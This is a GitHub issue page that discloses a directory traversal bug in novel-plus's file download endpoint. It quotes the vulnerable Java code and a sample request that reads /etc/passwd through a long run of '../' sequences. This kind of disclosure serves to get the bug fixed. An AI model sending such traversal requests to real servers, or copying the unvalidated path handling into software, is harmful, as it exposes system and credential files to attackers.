201206030 / novel-plus Public

<> Code ⊙ Issues 65 Pull requests 16 Discussions ▷ Actions Projects ···

New issue

Jump to bottom

novel-plus Directory Traversal #39

⊙ Open **qq1654985095** opened this issue on Apr 6, 2021 · 0 comments

qq1654985095 commented on Apr 6, 2021

Vulnerable code:
com/java2nb/common/controller/FileController.java
@RequestMapping(value = "/download")
public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {
String realFilePath = jnConfig.getUploadPath() + filePath;
InputStream in = new FileInputStream(realFilePath);
fileName = URLEncoder.encode(fileName, "UTF-8");
resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);

```
    resp.setContentLength(in.available());

    OutputStream out = resp.getOutputStream();
    byte[] b = new byte[1024];
    int len = 0;
    while ((len = in.read(b)) != -1) {
       out.write(b, 0, len);
    }
    out.flush();
    out.close();
    in.close();
```

}

Guide:
1.Log in to background management
2.
http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd

qq1654985095 changed the title ~~novel-plus Arbitrary File Download~~ **novel-plus Directory Traversal** on Apr 6, 2021

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

1 participant